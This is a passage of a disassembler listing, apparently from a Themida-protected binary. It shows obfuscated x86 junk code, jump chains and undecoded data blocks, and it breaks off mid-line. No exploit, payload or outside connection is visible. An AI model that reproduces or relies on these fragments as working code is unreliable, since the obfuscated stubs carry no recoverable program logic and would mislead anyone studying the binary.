Themida_:00547FA1j mov edx, ebx pop ebx add edx, 0C464826h neg edx push ecx mov ecx, 96A1E195h sub edx, ecx pop ecx jmp loc_5510FB ; --------------------------------------------------------------------------- byte_54D059 db 0FFh, 34h, 24h ; DATA XREF: Themida_:00544518o dd 0E92434FFh, 3C74h ; --------------------------------------------------------------------------- loc_54D064: ; CODE XREF: Themida_:0054B78Bj mov edx, 4 sub eax, edx pop edx jmp loc_547940 ; --------------------------------------------------------------------------- byte_54D071 db 68h, 7Fh, 6Ch ; DATA XREF: Themida_:0054458Co dd 0D5680000h, 89000070h, 9B682424h, 8900003Fh, 4BF243Ch dd 1000000h, 5F04247Ch, 8324048Fh, 48904ECh, 44E95124h dd 28FFFF8Bh, 686858C3h, 89000074h, 5150240Ch, 1AE9EAB5h dd 0FFFF90h, 19C380F3h, 0FFEB805Ah, 0C049B450h, 49E902E4h dd 8BFFFFA5h, 0C483242Ch, 4C48304h, 52E9FA01h, 0BBFFFF90h dd 39687FC7h, 803DC381h, 0D901C697h, 81241C8Bh, 4C4h, 3D556800h dd 0A3E90000h, 0C100001Dh, 0DBE908EBh db 0B2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D0FF: ; CODE XREF: Themida_:00548488j xor edx, edi jmp loc_5494BC ; --------------------------------------------------------------------------- dw 59h dd 41E95BF8h db 1Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54D10F: ; CODE XREF: Themida_:00546D44j xchg eax, [esp] mov esp, [esp] push edi mov edi, 6DAD1C50h xor edi, 2A0923ACh sub edi, 76F27CEBh jmp loc_550216 ; --------------------------------------------------------------------------- loc_54D12C: ; CODE XREF: Themida_:00546602j add esp, 4 pop ebx add cl, 0Dh add bl, cl jmp loc_54AE87 ; --------------------------------------------------------------------------- loc_54D13D: ; CODE XREF: Themida_:005494B7j push 744A464Dh pop ecx or ecx, 17FD0314h add ecx, 5C16085Dh add ecx, 4B380AE2h mov edi, ecx pop ecx push ecx mov ecx, 4FB171ADh neg ecx inc ecx shr ecx, 6 xor ecx, 6DB75ED6h sub ecx, 0F32F636Eh push ecx jmp loc_54B21B ; --------------------------------------------------------------------------- dw 0E829h dd 5E8015Dh, 71664DB9h, 120DE95Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54D186: ; CODE XREF: Themida_:00549A2Ej add esp, 4 shl ecx, 3 jmp loc_548FCB ; --------------------------------------------------------------------------- loc_54D194: ; CODE XREF: Themida_:005446B3j mov ebp, 5461530h add edx, ebp pop ebp jmp loc_547D8C ; --------------------------------------------------------------------------- db 35h, 22h, 40h dd 2A0515D2h, 1416029h, 24048BC7h, 904C483h, 0E9C15FF9h dd 3442E905h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54D1BE: ; CODE XREF: Themida_:00548D15j add esp, 4 mov edi, edx pop edx add esi, edi mov edi, [esp] add esp, 4 add esi, 1D5A55EFh add esi, ebx sub esi, 1D5A55EFh sub esi, 752A21ABh mov ebx, [esp] add esp, 4 push 6A83h mov [esp], esi sub dword ptr [esp], 7AC164FFh jmp loc_549254 ; --------------------------------------------------------------------------- db 96h, 0F7h, 0D6h dd 78BF5796h, 0F7353679h, 1019E9DFh, 0F2810000h, 6B91014Ah dd 148BD031h, 4C48124h, 52000000h, 0CBDD2E68h, 24148B48h dd 0FFE3C8E9h, 2DF781FFh, 816A9117h, 3596F1EFh, 80BD5572h dd 16D346Ch, 1453E9EBh, 74FF0000h, 8F5F0424h, 0E4E92404h dd 87FFFFB5h, 0D2F72414h, 0E9241431h, 0FFFFAB6Ch, 0E5C1DDF7h dd 3E5C107h, 0C4BAC581h, 86E93BA8h, 5CFFFFD5h, 1750E9h dd 4FC58000h, 80FDCD80h, 0EB007DC5h, 12D5E9h db 0 ; --------------------------------------------------------------------------- loc_54D289: ; CODE XREF: Themida_:00551100j add esp, 4 mov ebp, [esp] add esp, 4 push 128Eh mov [esp], edx jmp loc_5466CA ; --------------------------------------------------------------------------- loc_54D2A5: ; CODE XREF: Themida_:0054A441j push dword ptr [esp] pop ebp push edx push 72DCh mov [esp], esp jmp loc_54D7FD ; --------------------------------------------------------------------------- db 81h dd 4C5h, 242C8700h, 68E9F75Ch, 2FFDh, 0FF76FDE9h, 240C87FFh dd 241C895Ch, 0C381E389h, 4, 81E28952h, 4C2h, 4EA8300h dd 0E9241487h, 0FFFFD98Eh ; --------------------------------------------------------------------------- loc_54D2F0: ; CODE XREF: Themida_:00548B83j mov ebp, 1 push ebp xor dword ptr [esp], 0D1B4859h jmp loc_548E0B ; --------------------------------------------------------------------------- loc_54D302: ; CODE XREF: Themida_:0054BD9Bj pop dword ptr [esp] pop esp push ebx mov ebx, esp jmp loc_548CD3 ; --------------------------------------------------------------------------- dw 0E959h dd 0FFFFDF86h ; --------------------------------------------------------------------------- loc_54D314: ; CODE XREF: Themida_:0054965Bj mov esi, [esp] add esp, 4 or edx, eax shl edx, 1 push esi mov esi, esp push eax jmp loc_54C158 ; --------------------------------------------------------------------------- db 56h dd 0FFE79BE9h, 4C781FFh, 83000000h, 0FF5704C7h, 0E9042474h dd 3916h ; --------------------------------------------------------------------------- loc_54D340: ; CODE XREF: Themida_:0054AAACj push 4220534Dh pop ebp jmp loc_547FD5 ; --------------------------------------------------------------------------- aIts db '‰âé>#',0 align 2 dw 34FFh dd 2434FF24h, 582434FFh, 4C481h, 0C4830000h, 8B545504h dd 0C483242Ch, 4C58104h, 81000000h, 4C5h, 4EC8300h, 0E9242C89h dd 0FFFFBD48h, 0BE565854h, 4, 0FFC6ABE9h db 0FFh byte_54D391 db 0FFh, 77h, 1Ch ; DATA XREF: Themida_:00544480o dd 0D259669Dh, 0E99C2414h, 0FFFF7307h ; --------------------------------------------------------------------------- loc_54D3A0: ; CODE XREF: Themida_:0054590Cj mov ebx, [esp] push edx jmp loc_545403 ; --------------------------------------------------------------------------- db 0C1h, 0E0h, 7 dd 918D3548h, 0C389FF94h, 221CE958h, 0E2890000h, 4C281h dd 0B7E90000h db 0CAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D3C7: ; CODE XREF: Themida_:0054B58Bj not ecx push ebp mov ebp, 0FFFFFFFFh sub ecx, ebp pop ebp neg ecx jmp loc_54B843 ; --------------------------------------------------------------------------- db 89h, 0F0h, 5Eh dd 2158C789h, 0CA815FFAh, 39DE7D8Ch, 0FF7325E9h, 0FBE951FFh db 93h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D3F3: ; CODE XREF: Themida_:0054F4A5j shl eax, 5 add eax, 61D51296h shr eax, 4 sub eax, 0B243C7EEh add ebp, eax pop eax jmp loc_550C8B ; --------------------------------------------------------------------------- db 33h dd 8E92414h, 31000038h, 4332404h, 24248B24h, 24048966h dd 0FF7282E9h db 0FFh ; --------------------------------------------------------------------------- loc_54D425: ; CODE XREF: Themida_:00549CCAj not esi sub esi, 73323702h sub edi, 6CE86044h add edi, esi add edi, 6CE86044h mov esi, [esp] add esp, 4 sub eax, 186111CBh jmp loc_545132 ; --------------------------------------------------------------------------- dw 0BE56h dd 58A52F32h, 0D7E9F201h, 89000012h, 80B5240Ch, 0E950DDF6h dd 158Dh ; --------------------------------------------------------------------------- loc_54D468: ; CODE XREF: Themida_:00545A6Aj add esp, 4 sub esp, 4 mov [esp], edx mov edx, esp add edx, 4 push ebp mov ebp, 4CAE114Bh xchg ebx, ebp not ebx xchg ebx, ebp push ebx mov ebx, 4D4C7C44h or ebp, ebx jmp loc_54B53D ; --------------------------------------------------------------------------- db 42h, 81h, 0F2h dd 0A95B47AAh, 34FFD501h, 0C4835A24h, 83DDF704h, 565201EDh dd 0C534C3BEh, 0F6814E50h, 0FA877687h, 315EF289h, 0EF295AD5h dd 5D2434FFh, 0E904C483h, 0FFFFBDF9h ; --------------------------------------------------------------------------- loc_54D4CC: ; CODE XREF: Themida_:0054E835j mov [esp], ecx push esi jmp loc_548ECD ; --------------------------------------------------------------------------- db 5Dh, 33h, 34h dd 7271E924h, 0E95AFFFFh, 29DBh, 771C68h, 240C8900h, 42474FFh dd 24048F59h, 6624248Bh, 9C240CD3h, 0FF71A6E9h, 32E95BFFh dd 1000032h, 2434FFD7h, 4C4815Ah, 33000000h, 3C31243Ch dd 243C3324h, 0E924248Bh, 1EB8h ; --------------------------------------------------------------------------- loc_54D524: ; CODE XREF: Themida_:0054F205j shr ecx, 2 sub esp, 4 mov [esp], eax sub esp, 4 mov [esp], esp push ebx mov ebx, 4 add [esp+4], ebx pop ebx pop eax add eax, 4 sub eax, 4 push 5AF4h mov [esp], eax push dword ptr [esp+4] pop eax jmp loc_54BD46 ; --------------------------------------------------------------------------- dw 0E12Dh dd 10FA218h, 18E105F0h, 685E0FA2h, 47F9h, 52241C89h, 4EC81h dd 4890000h, 350BB824h, 0C2895DEAh, 8124048Bh, 4C4h, 0BEA8100h dd 0E916FA51h, 0FFFFF822h ; --------------------------------------------------------------------------- loc_54D598: ; CODE XREF: Themida_:00546599j add edi, 2B95081Eh neg edi sub edi, 6F73F475h jmp loc_5446AF ; --------------------------------------------------------------------------- db 80h dd 0D028EDF2h, 0C3305A5Ah, 0E9C0B60Fh, 0FFFFC75Dh ; --------------------------------------------------------------------------- loc_54D5BC: ; CODE XREF: Themida_:0054F9BAj pop ecx sub ebp, edx jmp loc_54C014 ; --------------------------------------------------------------------------- dd 22B85051h, 5725A09h, 0CFEB1D32h, 0C07E9h db 0 ; --------------------------------------------------------------------------- loc_54D5D5: ; CODE XREF: Themida_:005446AAj push 0B8Dh mov [esp], ecx mov ch, 9Eh push ax jmp loc_54745A ; --------------------------------------------------------------------------- dw 8852h dd 5AF588FEh, 0E9E8285Bh, 0FFFFA778h, 9B05D801h, 0E96C8A71h dd 0FFFF8A1Ch ; --------------------------------------------------------------------------- loc_54D600: ; CODE XREF: Themida_:0054784Ej xchg edx, [esp] pop esp jmp loc_54C418 ; --------------------------------------------------------------------------- loc_54D609: ; CODE XREF: Themida_:005482F0j xor [esp], ebp jmp loc_54FF53 ; --------------------------------------------------------------------------- db 81h, 2Ch, 24h dd 205E0606h, 261EE9h, 0C4815B00h, 4, 31242C33h, 73E9242Ch dd 83FFFFA0h, 555A04C4h, 8B0695BDh, 80C5815Ch, 0E92E5B08h dd 4ECh, 5C241487h, 6C9AB951h, 0C8310FF7h, 3839E9h, 5C686600h dd 7850E931h, 5455FFFFh, 55242C8Bh, 0FFCA8BE9h, 240C89FFh dd 0FF8EE4E9h db 0FFh ; --------------------------------------------------------------------------- loc_54D671: ; CODE XREF: Themida_:0054E93Bj sub ebp, 45A86788h pop ecx add edi, ebp pop ebp push edi jmp loc_5448FD ; --------------------------------------------------------------------------- loc_54D681: ; CODE XREF: Themida_:0054F1F1j push 4559h mov [esp], ebx mov ebx, 4 add edx, ebx jmp loc_547848 ; --------------------------------------------------------------------------- db 89h, 0Ch, 24h dd 0BB535954h, 6C255845h, 1314C381h, 0F3815E67h, 0CA8C6B5Dh dd 0E95BD901h, 0FFFF9B78h, 0C181E189h, 4, 4B850h, 0C1010000h dd 8324048Bh, 0C8704C4h, 3C875C24h, 24248B24h, 0FFE03BE9h dd 6F30B9FFh, 0CA017682h, 4EC8159h, 89000000h, 6BE92434h dd 29FFFFB2h, 36E95EF1h db 0B9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D6F7: ; CODE XREF: Themida_:00545294j xor ebx, 0AC830E0Ah xor ebp, ebx pop ebx push edi mov edi, 3C6872EDh sub ebp, edi pop edi push 6AA3h mov [esp], esi mov esi, 3A1D266Eh sub esi, 0B5027F4Dh sub ebp, 461B5E91h sub ebp, esi add ebp, 461B5E91h pop esi add ebx, ebp pop ebp add ebx, edi push ecx mov ecx, 77F25344h sub ebx, ecx pop ecx mov eax, [ebx] pop ebx push esi push ecx push eax mov eax, 63AD6974h jmp loc_548610 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 4C4815Eh, 1000000h, 5BE95AD0h, 5DFFFFD9h, 0E9E38953h dd 27D1h ; --------------------------------------------------------------------------- loc_54D764: ; CODE XREF: Themida_:0054F268j mov eax, 63535974h shr eax, 3 and eax, 26F95B68h jmp loc_54FAB6 ; --------------------------------------------------------------------------- dw 0E95Bh dd 0FFFFFDE2h, 55595451h, 46852h, 895A0000h, 0C9E95AD5h dd 66FFFFE3h, 10E99C51h, 1FFFF6Fh, 0BAEF81F7h, 0E901794Fh dd 0FFFFD06Ch ; --------------------------------------------------------------------------- loc_54D7A4: ; CODE XREF: Themida_:0054C908j add dword ptr [esp+4], 26DE1ACFh add dword ptr [esp+4], 70781BA6h jmp loc_54573E ; --------------------------------------------------------------------------- byte_54D7B9 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:005443E4o db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx push 6C8h mov [esp], esp push edi push edx mov edx, 19464F04h mov edi, 0E6B9B100h add edi, edx pop edx add [esp+4], edi pop edi mov ebx, [esp] jmp loc_54FE8E ; --------------------------------------------------------------------------- dd 42DAF742h, 0FFB0E5E9h db 0FFh ; --------------------------------------------------------------------------- loc_54D7FD: ; CODE XREF: Themida_:0054D2B2j add dword ptr [esp], 4 push dword ptr [esp] pop edx add esp, 4 push ebp mov ebp, 20872D57h add ebp, 21C41C4h xor ebp, 490B4766h neg ebp sub ebp, 5C921AFDh not ebp sub ebp, 4FB50892h and ebp, 2BE67AB9h not ebp add ebp, 774E2E18h jmp loc_547C4D ; --------------------------------------------------------------------------- dd 8104EDC1h, 0F34800C5h, 5DEA0155h, 24143358h, 33241431h dd 0B5E92414h, 68FFFF98h, 47BC7CE2h, 0D471E95Ah, 0E181FFFFh dd 38E02CB9h, 0E9814149h, 8471962Eh, 0C8BCD01h, 4C48324h dd 5A5DE929h, 0FF1C4F09h, 83592434h, 815304C4h, 24012434h dd 1C8B44CAh, 0E6895624h, 4C681h, 0BA520000h, 4E7B38B3h dd 399FC281h, 0F2812B6Ch, 1B49346Dh, 4D8BC281h, 814A0E76h dd 5E3166E2h, 3CEA8104h, 81000411h, 0D650E7C6h, 330AE90Ch db 2 dup(0) word_54D8CE dw 8B66h ; DATA XREF: Themida_:00544498o dd 0A4682404h, 0E9000012h, 0FFFFC804h dword_54D8DC dd 24048B66h, 10CC68h, 242C8900h, 0C3E9E589h ; DATA XREF: Themida_:00544554o db 7Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D8EF: ; CODE XREF: Themida_:00545732j mov eax, [esp] add esp, 4 push eax push edi jmp loc_548F98 ; --------------------------------------------------------------------------- loc_54D8FF: ; CODE XREF: Themida_:00551049j shr eax, 8 neg eax push ecx mov ecx, 91D17F12h xor eax, ecx pop ecx mov ebx, eax pop eax add ebx, 1A806954h neg ebx jmp loc_54B6C4 ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 4668C80Fh, 8900005Bh, 78E92404h, 52FFFF6Dh, 0C281E289h dd 4, 0FFCB17E9h db 0FFh byte_54D93D db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:005444C0o dd 0FC5E924h, 0EB810000h, 783D68F9h, 352CF381h, 58E9CB67h dd 3500000Eh, 149817B4h, 0FFA8F9E9h db 0FFh ; --------------------------------------------------------------------------- loc_54D961: ; CODE XREF: Themida_:0054682Dj mov ebx, 651B6445h xor ecx, ebx pop ebx pop ebx xor ecx, ebp mov ebp, [esp] add esp, 4 push ebp push edi mov edi, 17C66426h mov ebp, 43136724h xor ebp, edi jmp loc_547DF4 ; --------------------------------------------------------------------------- db 2Dh, 4, 0 dd 4870000h, 25E6E924h, 8B660000h, 0E9532414h, 0FFFFD66Fh ; --------------------------------------------------------------------------- loc_54D99C: ; CODE XREF: Themida_:00550259j mov ebp, [esp] add esp, 4 shr eax, 3 jmp loc_550F3B ; --------------------------------------------------------------------------- db 58h, 81h, 0F6h dd 16F4D63Bh, 76E9F301h, 31FFFF88h, 241C8BDEh ; --------------------------------------------------------------------------- push ebp mov ebp, esp push edi push ecx mov ecx, 253551B9h mov edi, 0EC29D3D3h add edi, ecx pop ecx neg edi push ecx mov ecx, 40C757A8h jmp loc_54C0D9 ; --------------------------------------------------------------------------- loc_54D9DF: ; CODE XREF: Themida_:00544E15j mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp add [esp+4], edx pop edx push dword ptr [esp] pop eax add esp, 4 jmp loc_549398 ; --------------------------------------------------------------------------- loc_54DA05: ; CODE XREF: Themida_:00550FE1j push esi jmp loc_54E2E0 ; --------------------------------------------------------------------------- aSse6 db 'SéE6',0 dd 2474FF00h, 7B09E904h db 2 dup(0FFh) word_54DA1A dw 0FF64h ; DATA XREF: Themida_:00544538o dd 0A566E932h, 2D5FFFFFh, 292C6D7Ah, 0FFA5F6E9h db 0FFh ; --------------------------------------------------------------------------- loc_54DA2D: ; CODE XREF: Themida_:0054CBE1j not eax add eax, 87F2BF2h xor eax, 7D117A5Bh add eax, 66E73E9Ch add ecx, eax mov eax, [esp] add esp, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], edx pop dword ptr [edi+20h] jmp loc_54B0FD ; --------------------------------------------------------------------------- loc_54DA5B: ; CODE XREF: Themida_:00545C72j mov [esp], ebx push ebp mov ebp, 4DA5027Fh jmp loc_5471E3 ; --------------------------------------------------------------------------- db 81h, 4, 24h dd 4, 0F9BF5758h, 5100161Dh, 9B46FF68h, 0DEE95967h, 5B00001Bh dd 0E95EF101h, 0FFFFFA58h, 7CB768h, 24148900h, 4BAh, 0E092E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DA9E: ; CODE XREF: Themida_:0054BD03j sub ebx, ecx pop ecx add ebx, edi push eax mov eax, 68557DB4h or eax, 7D000C41h inc eax jmp loc_54C5AF ; --------------------------------------------------------------------------- dd 0FFFFEF81h, 8E9FFFFh, 29FFFFEEh, 0EBCBE9DEh, 0A5BDFFFFh dd 815C722Fh, 0EF3CA8CDh, 8E5C155h, 0FFA471E9h, 90BE56FFh dd 0F74D3314h, 55EE81D6h, 81366B36h, 1D1494EEh, 0B8EE8102h dd 12AE865h, 0E9815EF1h, 57030754h, 0C181E901h, 57030754h dd 3ACEE981h, 34FF4F5Ch, 0C4835D24h, 0BB5AE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DB16: ; CODE XREF: Themida_:0054CFB7j xor eax, ebx pop ebx xor ebx, eax sub esp, 2 mov [esp], bx jmp loc_54DC4E ; --------------------------------------------------------------------------- dw 0E95Ah dd 0FFFFA719h, 0EDC1D5F7h, 3EDC106h, 0FFCD01E9h, 4E981FFh dd 87000000h, 248B240Ch, 240C8924h, 0E1C0F4B1h, 8E9C003h dd 0E9DCB050h, 0FFFF7DB5h, 83242C8Bh, 0BD5504C4h, 59150500h dd 6F7CCD81h, 0D5F74AF5h, 0EDC1E5D1h, 58BE5605h, 0E941C535h dd 0FFFF6BA4h, 50A2B151h, 0FF8DA2E9h, 59CE29FFh, 3EFA6857h dd 3C8B0EB4h, 0ADADE924h, 5866FFFFh, 0FFBD13E9h, 241489FFh dd 8904EC83h, 4B5240Ch, 0FF9323E9h, 3E9C1FFh, 0D1F7D1F7h dd 2506B850h, 0CB056F01h, 9C6BD1Ah, 0C18158C1h, 0C2660227h dd 0BA52D9F7h, 437F24A3h, 26E9D121h db 0CCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DBDB: ; CODE XREF: Themida_:0054E3AAj pop edx pop edi push 3C07h mov [esp], edx push 10E5h mov [esp], esi push 65725685h mov esi, [esp] add esp, 4 sub esp, 4 jmp loc_547CE8 ; --------------------------------------------------------------------------- loc_54DC03: ; CODE XREF: Themida_:0054EBEAj and eax, ebp jmp loc_547D3C ; --------------------------------------------------------------------------- dw 0C330h dd 66C0B60Fh, 5524148Bh, 0FFBD25E9h, 4C781FFh, 87000000h dd 835C243Ch, 348704C6h, 8AE95C24h, 89FFFFC0h, 0CFE955E6h db 25h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54DC37: ; CODE XREF: Themida_:0054C00Fj mov ebp, edx jmp loc_54B1FF ; --------------------------------------------------------------------------- dw 34FFh dd 86CDE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DC46: ; CODE XREF: Themida_:0054CD88j push eax mov ah, 1 jmp loc_54A5CF ; --------------------------------------------------------------------------- loc_54DC4E: ; CODE XREF: Themida_:0054DB25j push edx push bx jmp loc_5481FB ; --------------------------------------------------------------------------- dw 2489h dd 0BE95224h, 4BFFFFC2h, 0EB81D3F7h, 0FC1287B6h, 2734E9h dd 8BA5200h, 0E9045D2Bh, 0FFFF9796h, 8051F480h, 0C280F0C4h dd 80E2003Bh, 30583BEAh, 24148BD0h, 0FFDFDDE9h db 0FFh ; --------------------------------------------------------------------------- loc_54DC91: ; CODE XREF: Themida_:0054DDA6j xchg eax, [esp] jmp loc_548C15 ; --------------------------------------------------------------------------- db 42h, 81h, 0E2h dd 294B315Dh, 5AF2EA81h, 0D5292FF8h, 8BEB295Ah, 0C481242Ch dd 4, 620CBF57h, 0BA521573h, 539D5300h, 0CB3BC281h, 0D701E3E2h dd 19FBE9h, 4DBDBF00h, 0E7C16FB0h, 0ACF8105h, 81188362h dd 785604EFh, 3EFC117h, 0D1C7814Fh, 89E31D8Bh, 0F16CE9FEh dd 335EFFFFh, 0C31240Ch, 240C3324h, 0E924248Bh, 0FFFF9C1Eh dword_54DD04 dd 24048B66h, 60768h, 10D6E900h ; DATA XREF: Themida_:00544618o db 2 dup(0) ; --------------------------------------------------------------------------- loc_54DD12: ; CODE XREF: Themida_:00547287j std push eax push 3A75h mov [esp], ebp push 7F07447h pop ebp and ebp, 1AE55C00h jmp loc_54848D ; --------------------------------------------------------------------------- db 53h, 0BBh, 57h dd 0E9037A47h, 0D50h, 0E9241489h, 0FFFF7E6Bh ; --------------------------------------------------------------------------- loc_54DD40: ; CODE XREF: Themida_:00547C5Fj add edx, ebp jmp loc_547B3D ; --------------------------------------------------------------------------- db 5Dh dd 0FFB004E9h, 0E9C131FFh, 0FFFF9ADDh dword_54DD54 dd 24048B66h, 53E08950h, 0B7019DBBh, 87E3D140h, 87D2F7D3h ; DATA XREF: Themida_:00544428o dd 0B0BA52D3h, 426D9307h, 0FFB63FE9h, 0BF575FFFh, 76029EAh dd 71DFC781h, 0BB533263h, 33683526h, 555BDF21h, 23A8E9h db 0 ; --------------------------------------------------------------------------- loc_54DD91: ; CODE XREF: Themida_:005466A4j sub esp, 4 mov [esp], eax mov eax, esp add eax, 4 sub eax, 4 jmp loc_54DC91 ; --------------------------------------------------------------------------- db 89h dd 4C781E7h, 81000000h, 4EFh, 243C3300h, 0E9243C31h, 0FFFFC65Eh ; --------------------------------------------------------------------------- loc_54DDC4: ; CODE XREF: Themida_:0055121Ej mov ebp, [esp] add esp, 4 push 701Ch mov [esp], edx pop dword ptr [edi+20h] push dword ptr [esp] pop edx add esp, 4 push 6CC9h mov [esp], esi mov esi, 377962AAh jmp loc_54AE77 ; --------------------------------------------------------------------------- aAYfrIs db 'µÛ€ÅyfR²¨é¸"',0 dw 500h dd 4, 0C7FCE956h, 0EA80FFFFh, 4EC81D9h, 89000000h, 10B62414h dd 0E95DB353h, 8Ah, 97E9D5F7h, 81FFFF7Ch, 42404h, 0AE90000h dd 0BBFFFFC3h, 8CB47135h, 0D97E9h db 0 ; --------------------------------------------------------------------------- loc_54DE3D: ; CODE XREF: Themida_:0054B854j push 214Dh mov [esp], edi mov edi, esp jmp loc_54A2BD ; --------------------------------------------------------------------------- dd 81E68956h, 4C6h, 4C68300h, 5C243487h, 0EB80C300h, 58C3807Ah dd 8904EC83h, 0B652240Ch, 0D898E928h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DE72: ; CODE XREF: Themida_:00544C80j mov ebp, 7FB07112h jmp loc_54B691 ; --------------------------------------------------------------------------- dword_54DE7C dd 4EC81h, 0C890000h, 28F66824h, 2C890000h, 0CF685224h ; DATA XREF: Themida_:00544440o dd 8B57A64Ah, 47E92414h db 0E4h, 2 dup(0FFh) byte_54DE9B db 0FFh ; DATA XREF: Themida_:0054440Co dd 75E92434h db 0B0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DEA3: ; CODE XREF: Themida_:0054B405j xor eax, ecx jmp loc_54E273 ; --------------------------------------------------------------------------- dw 0DE30h dd 0E9C6FE5Bh, 0FFFF8764h, 0B9240C89h, 4, 8359CA01h, 143304C2h dd 24143124h, 5C241433h, 0FF04C483h, 67D1E930h, 2489FFFFh dd 24048124h, 4, 0FF8D68E9h, 630805FFh, 0C8B315Fh, 4C48124h dd 57000000h, 0DECFE955h db 2 dup(0FFh) word_54DEFA dw 8B66h ; DATA XREF: Themida_:00544614o dd 12E92404h, 58FFFF77h, 83241C8Bh, 143304C4h, 67A6E924h dd 8159FFFFh, 0D8255AC3h, 2C79683Ch, 34890000h, 6514BE24h dd 0F2296542h, 0FFA41AE9h db 0FFh ; --------------------------------------------------------------------------- loc_54DF2D: ; CODE XREF: Themida_:0054FEABj add ebx, edx jmp loc_5510F2 ; --------------------------------------------------------------------------- dd 0E99CC884h, 0FFFF7D56h, 4BF57h, 9DE90000h, 57FFFF8Ah dd 0F8E95F54h, 87000023h, 665C241Ch, 0E9B1B252h, 0FFFF97E9h dd 5437F681h, 0F301076Dh, 8010E95Eh, 0B850FFFFh, 67644672h dd 0FF8949E9h, 81E389FFh, 4ECh, 240C8900h, 4BD55h, 13E90000h db 86h, 2 dup(0FFh) byte_54DF8B db 0FFh ; DATA XREF: Themida_:00544474o a4S0 db '4$éÍ0',0 dw 8900h dd 88B82404h, 932C60Dh, 0B4E958C6h db 0A8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DFA3: ; CODE XREF: Themida_:0054F792j mov eax, [esp] push ecx mov ecx, esp add ecx, 4 push edi mov edi, 4 add ecx, edi pop edi xchg ecx, [esp] jmp loc_54CEF9 ; --------------------------------------------------------------------------- dd 7E09BF57h, 0DFF751D2h, 2588C781h, 0E1E9395Bh db 0FAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DFD3: ; CODE XREF: Themida_:0054745Cj sub ch, 30h jmp loc_551105 ; --------------------------------------------------------------------------- loc_54DFDB: ; CODE XREF: Themida_:0054B10Dj sub al, 26h mov dl, al pop eax shr dl, 1 or dl, 0C1h inc dl jmp loc_5486BF ; --------------------------------------------------------------------------- dd 0F3C2815Fh, 81478465h, 8E5811F2h, 0F7DAF75Fh, 71EA81D2h dd 311A3299h, 0F8015AD7h, 2055Fh, 4330000h, 24043124h dd 5C240433h, 24048B66h, 0E904EC83h, 0D25h, 395277BFh dd 88F78154h, 29ABC6ADh, 0EC815FFEh, 4, 0FFBA2FE9h, 0DCB850FFh dd 213E701Ah, 0F76858C2h, 8900004Dh, 90BB241Ch, 81204C4Fh dd 0B65180E3h, 34CB8105h, 8136A22Bh, 64315EC3h, 3E3C131h dd 0FFF8D9E9h db 0FFh ; --------------------------------------------------------------------------- loc_54E06D: ; CODE XREF: Themida_:00544762j push dword ptr [eax] jmp loc_5446A7 ; --------------------------------------------------------------------------- dd 0E9242C8Bh, 0FFFFDBA4h, 3FC4BF57h, 1AE973DAh, 89FFFF67h dd 0EF6851E2h, 5929007Fh, 0C102E9C1h, 0F18105E9h, 1030218Dh dd 522E181h, 0D9F73030h, 2A59E9h db 0 ; --------------------------------------------------------------------------- loc_54E0A9: ; CODE XREF: Themida_:005510F6j xchg ebx, [esp] mov esp, [esp] shl dword ptr [esp], cl pushf jmp loc_5446A7 ; --------------------------------------------------------------------------- dd 4EC81h, 24890000h, 24048124h, 4, 0FFD5D8E9h db 0FFh ; --------------------------------------------------------------------------- loc_54E0CD: ; CODE XREF: Themida_:00549AB7j push eax push ecx mov ecx, 31CD50FCh sub ecx, 34FF0C79h jmp loc_54F21F ; --------------------------------------------------------------------------- loc_54E0DF: ; CODE XREF: Themida_:0054A7B6j xchg ebx, [esp] pop esp push 26C1h mov [esp], esi jmp loc_54E818 ; --------------------------------------------------------------------------- dd 2C8BE929h, 9547E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E0FA: ; CODE XREF: Themida_:00547949j pop esp mov [esp], ecx push esp pop ecx add ecx, 4 add ecx, 4 xchg ecx, [esp] mov esp, [esp] jmp loc_546A7B ; --------------------------------------------------------------------------- db 0B8h dd 0FF76C9Ah, 4244431h, 2045E9h, 8CC68100h, 813C4337h dd 0CF0F42E6h, 97EE815Ch, 0F74C313Fh, 0BACDE9D6h, 0BE56FFFFh dd 5C6277D5h, 882FC681h, 0F101A39Dh, 4C1815Eh, 87000000h dd 248B240Ch, 0B3686624h, 1C89661Fh, 0E9535124h, 0FFFF7E9Dh ; --------------------------------------------------------------------------- loc_54E168: ; CODE XREF: Themida_:0054BA66j pop esi not ebx neg ebx inc ebx sub ebx, 364475B6h add ebp, ebx jmp loc_54EDB3 ; --------------------------------------------------------------------------- a0Fz db '0ÔfZ',0 aUxaD db 'ãX€Ãd',0 dw 80CBh dd 0EB8064EBh, 0EC8159BAh, 4, 56241489h, 0F42C0BBEh, 145AE90Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_54E1A2: ; CODE XREF: Themida_:0054E78Dj rep movsd add esp, [edx+38h] push 5402h mov [esp], ecx mov ecx, 73142657h push 150Ah mov [esp], esi push 667D66FBh pop esi shr esi, 8 add esi, 8C855C43h jmp loc_548AFD ; --------------------------------------------------------------------------- loc_54E1D0: ; CODE XREF: Themida_:0055111Ej dec dl not dl shr dl, 7 jmp loc_548DB6 ; --------------------------------------------------------------------------- dd 8358C189h, 0E98101E9h, 0FFFFFFFFh, 2650F181h, 